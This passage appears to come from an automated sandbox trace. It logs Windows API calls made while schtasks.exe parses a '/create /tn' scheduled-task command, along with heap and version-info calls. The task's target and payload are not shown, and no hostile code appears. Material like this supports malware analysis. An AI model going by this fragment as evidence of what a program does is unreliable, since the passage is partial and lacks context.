returned 9 [0123.289] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211f648 | out: _Buffer="|f|") returned 3 [0123.289] lstrlenW (lpString="|showsid|") returned 9 [0123.289] lstrlenW (lpString="|f|") returned 3 [0123.289] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0123.289] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.289] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.289] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.289] lstrlenW (lpString="/f") returned 2 [0123.289] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0123.289] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.289] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.289] lstrlenW (lpString="/f") returned 2 [0123.289] GetProcessHeap () returned 0x23fabff0000 [0123.289] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x6) returned 0x23fabff43b0 [0123.289] GetProcessHeap () returned 0x23fabff0000 [0123.289] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb480 [0123.289] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.289] GetProcessHeap () returned 0x23fabff0000 [0123.289] GetProcessHeap () returned 0x23fabff0000 [0123.289] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3980) returned 1 [0123.289] GetProcessHeap () returned 0x23fabff0000 [0123.290] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff3980) returned 0x8 [0123.290] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff3980) returned 1 [0123.290] GetProcessHeap () returned 0x23fabff0000 [0123.290] GetProcessHeap () returned 0x23fabff0000 [0123.290] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb510) returned 1 [0123.290] GetProcessHeap () returned 0x23fabff0000 [0123.290] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb510) returned 0x20 [0123.290] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb510) returned 1 [0123.290] GetProcessHeap () returned 0x23fabff0000 [0123.290] GetProcessHeap () returned 0x23fabff0000 [0123.290] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffac50) returned 1 [0123.290] GetProcessHeap () returned 0x23fabff0000 [0123.290] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffac50) returned 0x10 [0123.290] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffac50) returned 1 [0123.290] GetProcessHeap () returned 0x23fabff0000 [0123.291] GetProcessHeap () returned 0x23fabff0000 [0123.291] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb540) returned 1 [0123.291] GetProcessHeap () returned 0x23fabff0000 [0123.291] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb540) returned 0x20 [0123.291] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb540) returned 1 [0123.291] GetProcessHeap () returned 0x23fabff0000 [0123.291] GetProcessHeap () returned 0x23fabff0000 [0123.291] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff39a0) returned 1 [0123.291] GetProcessHeap () returned 0x23fabff0000 [0123.291] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff39a0) returned 0x8 [0123.291] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff39a0) returned 1 [0123.291] GetProcessHeap () returned 0x23fabff0000 [0123.291] GetProcessHeap () returned 0x23fabff0000 [0123.291] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb5a0) returned 1 [0123.291] GetProcessHeap () returned 0x23fabff0000 [0123.291] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb5a0) returned 0x20 [0123.292] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb5a0) returned 1 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffabb0) returned 1 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffabb0) returned 0x10 [0123.292] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffabb0) returned 1 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb450) returned 1 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb450) returned 0x20 [0123.292] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb450) returned 1 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff42c0) returned 1 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.292] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff42c0) returned 0x8 [0123.292] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff42c0) returned 1 [0123.292] GetProcessHeap () returned 0x23fabff0000 [0123.293] GetProcessHeap () returned 0x23fabff0000 [0123.293] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb660) returned 1 [0123.293] GetProcessHeap () returned 0x23fabff0000 [0123.293] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb660) returned 0x20 [0123.293] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb660) returned 1 [0123.293] GetProcessHeap () returned 0x23fabff0000 [0123.293] GetProcessHeap () returned 0x23fabff0000 [0123.293] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff3ba0) returned 1 [0123.293] GetProcessHeap () returned 0x23fabff0000 [0123.293] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff3ba0) returned 0x9a [0123.293] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff3ba0) returned 1 [0123.293] GetProcessHeap () returned 0x23fabff0000 [0123.293] GetProcessHeap () returned 0x23fabff0000 [0123.293] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb900) returned 1 [0123.293] GetProcessHeap () returned 0x23fabff0000 [0123.293] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb900) returned 0x20 [0123.294] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb900) returned 1 [0123.294] GetProcessHeap () returned 0x23fabff0000 [0123.294] GetProcessHeap () returned 0x23fabff0000 [0123.294] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4390) returned 1 [0123.294] GetProcessHeap () returned 0x23fabff0000 [0123.294] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4390) returned 0x8 [0123.294] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4390) returned 1 [0123.294] GetProcessHeap () returned 0x23fabff0000 [0123.294] GetProcessHeap () returned 0x23fabff0000 [0123.294] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb5d0) returned 1 [0123.294] GetProcessHeap () returned 0x23fabff0000 [0123.294] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb5d0) returned 0x20 [0123.295] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb5d0) returned 1 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffaa70) returned 1 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffaa70) returned 0x10 [0123.295] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffaa70) returned 1 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb9c0) returned 1 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb9c0) returned 0x20 [0123.295] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb9c0) returned 1 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff43b0) returned 1 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff43b0) returned 0x6 [0123.295] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff43b0) returned 1 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.295] GetProcessHeap () returned 0x23fabff0000 [0123.296] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffb480) returned 1 [0123.296] GetProcessHeap () returned 0x23fabff0000 [0123.296] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffb480) returned 0x20 [0123.296] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffb480) returned 1 [0123.296] GetProcessHeap () returned 0x23fabff0000 [0123.296] GetProcessHeap () returned 0x23fabff0000 [0123.296] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabff4ef0) returned 1 [0123.296] GetProcessHeap () returned 0x23fabff0000 [0123.296] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabff4ef0) returned 0x18 [0123.296] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabff4ef0) returned 1 [0123.296] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.296] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0123.296] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0123.296] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0123.296] RtlVerifyVersionInfo (VersionInfo=0xaed211c5e0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0123.297] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.297] lstrlenW (lpString="create") returned 6 [0123.297] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0123.297] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.297] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.297] lstrlenW (lpString="create") returned 6 [0123.297] GetProcessHeap () returned 0x23fabff0000 [0123.297] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb870 [0123.297] GetProcessHeap () returned 0x23fabff0000 [0123.297] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabffac50 [0123.297] _memicmp (_Buf1=0x23fabffac50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.297] GetProcessHeap () returned 0x23fabff0000 [0123.297] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x16) returned 0x23fabffab10 [0123.297] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.297] _memicmp (_Buf1=0x23fabff40c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.297] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23fabff9b80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0123.297] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xaed211c738 | out: lpdwHandle=0xaed211c738) returned 0x76c [0123.297] GetProcessHeap () returned 0x23fabff0000 [0123.297] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x776) returned 0x23fabffbdc0 [0123.298] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x23fabffbdc0 | out: lpData=0x23fabffbdc0) returned 1 [0123.298] VerQueryValueW (in: pBlock=0x23fabffbdc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xaed211c6d0, puLen=0xaed211c730 | out: lplpBuffer=0xaed211c6d0*=0x23fabffc170, puLen=0xaed211c730) returned 1 [0123.298] _memicmp (_Buf1=0x23fabff40c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.298] _vsnwprintf (in: _Buffer=0x23fabff9b80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xaed211c6a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0123.298] VerQueryValueW (in: pBlock=0x23fabffbdc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xaed211c6c0, puLen=0xaed211c728 | out: lplpBuffer=0xaed211c6c0*=0x23fabffbfa0, puLen=0xaed211c728) returned 1 [0123.298] lstrlenW (lpString="schtasks.exe") returned 12 [0123.298] lstrlenW (lpString="schtasks.exe") returned 12 [0123.298] lstrlenW (lpString=".EXE") returned 4 [0123.298] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0123.298] lstrlenW (lpString="schtasks.exe") returned 12 [0123.298] lstrlenW (lpString=".EXE") returned 4 [0123.298] lstrlenW (lpString="schtasks") returned 8 [0123.298] lstrlenW (lpString="/create") returned 7 [0123.298] _memicmp (_Buf1=0x23fabff40c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.298] _vsnwprintf (in: _Buffer=0x23fabff9b80, _BufferCount=0x19, _Format="%s %s", _ArgList=0xaed211c6a8 | out: _Buffer="schtasks /create") returned 16 [0123.298] _memicmp (_Buf1=0x23fabff3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.298] GetProcessHeap () returned 0x23fabff0000 [0123.298] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabffb690 [0123.298] _memicmp (_Buf1=0x23fabff3fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.298] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23fabffbbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0123.298] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0123.298] GetProcessHeap () returned 0x23fabff0000 [0123.298] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x30) returned 0x23fabff4390 [0123.298] _vsnwprintf (in: _Buffer=0x23fabff3f00, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xaed211c6a8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0123.299] GetProcessHeap () returned 0x23fabff0000 [0123.299] GetProcessHeap () returned 0x23fabff0000 [0123.299] HeapValidate (hHeap=0x23fabff0000, dwFlags=0x0, lpMem=0x23fabffbdc0) returned 1 [0123.299] GetProcessHeap () returned 0x23fabff0000 [0123.299] RtlSizeHeap (HeapHandle=0x23fabff0000, Flags=0x0, MemoryPointer=0x23fabffbdc0) returned 0x776 [0123.299] RtlFreeHeap (HeapHandle=0x23fabff0000, Flags=0x0, BaseAddress=0x23fabffbdc0) returned 1 [0123.299] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.299] GetThreadLocale () returned 0x409 [0123.299] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.299] lstrlenW (lpString="create") returned 6 [0123.299] GetThreadLocale () returned 0x409 [0123.299] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="?") returned 1 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="s") returned 1 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="u") returned 1 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="p") returned 1 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="ru") returned 2 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="rp") returned 2 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="sc") returned 2 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="mo") returned 2 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="d") returned 1 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="m") returned 1 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="i") returned 1 [0123.300] GetThreadLocale () returned 0x409 [0123.300] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.300] lstrlenW (lpString="tn") returned 2 [0123.300] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="tr") returned 2 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="st") returned 2 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="sd") returned 2 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="ed") returned 2 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="it") returned 2 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="et") returned 2 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="k") returned 1 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="du") returned 2 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="ri") returned 2 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="z") returned 1 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="f") returned 1 [0123.301] GetThreadLocale () returned 0x409 [0123.301] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.301] lstrlenW (lpString="v1") returned 2 [0123.302] GetThreadLocale () returned 0x409 [0123.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.302] lstrlenW (lpString="xml") returned 3 [0123.302] GetThreadLocale () returned 0x409 [0123.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.302] lstrlenW (lpString="ec") returned 2 [0123.302] GetThreadLocale () returned 0x409 [0123.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.302] lstrlenW (lpString="rl") returned 2 [0123.302] GetThreadLocale () returned 0x409 [0123.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.302] lstrlenW (lpString="delay") returned 5 [0123.302] GetThreadLocale () returned 0x409 [0123.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.302] lstrlenW (lpString="np") returned 2 [0123.302] GetThreadLocale () returned 0x409 [0123.302] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0123.302] lstrlenW (lpString="hresult") returned 7 [0123.302] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.302] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.302] lstrlenW (lpString="/create") returned 7 [0123.302] lstrlenW (lpString="-/") returned 2 [0123.302] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.302] lstrlenW (lpString="create") returned 6 [0123.302] lstrlenW (lpString="create") returned 6 [0123.302] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.302] lstrlenW (lpString="create") returned 6 [0123.302] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.302] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|create|") returned 8 [0123.302] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|create|") returned 8 [0123.302] lstrlenW (lpString="|create|") returned 8 [0123.302] lstrlenW (lpString="|create|") returned 8 [0123.302] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0123.303] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.303] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.303] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.303] lstrlenW (lpString="/tn") returned 3 [0123.303] lstrlenW (lpString="-/") returned 2 [0123.303] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.303] lstrlenW (lpString="create") returned 6 [0123.303] lstrlenW (lpString="create") returned 6 [0123.303] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.303] lstrlenW (lpString="tn") returned 2 [0123.303] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.303] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|create|") returned 8 [0123.303] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.303] lstrlenW (lpString="|create|") returned 8 [0123.303] lstrlenW (lpString="|tn|") returned 4 [0123.303] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0123.303] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.303] lstrlenW (lpString="?") returned 1 [0123.303] lstrlenW (lpString="?") returned 1 [0123.303] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.303] lstrlenW (lpString="tn") returned 2 [0123.303] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.303] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|?|") returned 3 [0123.303] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.303] lstrlenW (lpString="|?|") returned 3 [0123.303] lstrlenW (lpString="|tn|") returned 4 [0123.303] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.303] lstrlenW (lpString="s") returned 1 [0123.303] lstrlenW (lpString="s") returned 1 [0123.303] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.303] lstrlenW (lpString="tn") returned 2 [0123.304] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.304] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|s|") returned 3 [0123.304] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.304] lstrlenW (lpString="|s|") returned 3 [0123.304] lstrlenW (lpString="|tn|") returned 4 [0123.304] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.304] lstrlenW (lpString="u") returned 1 [0123.304] lstrlenW (lpString="u") returned 1 [0123.304] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.304] lstrlenW (lpString="tn") returned 2 [0123.304] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.304] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|u|") returned 3 [0123.304] _vsnwprintf (in: 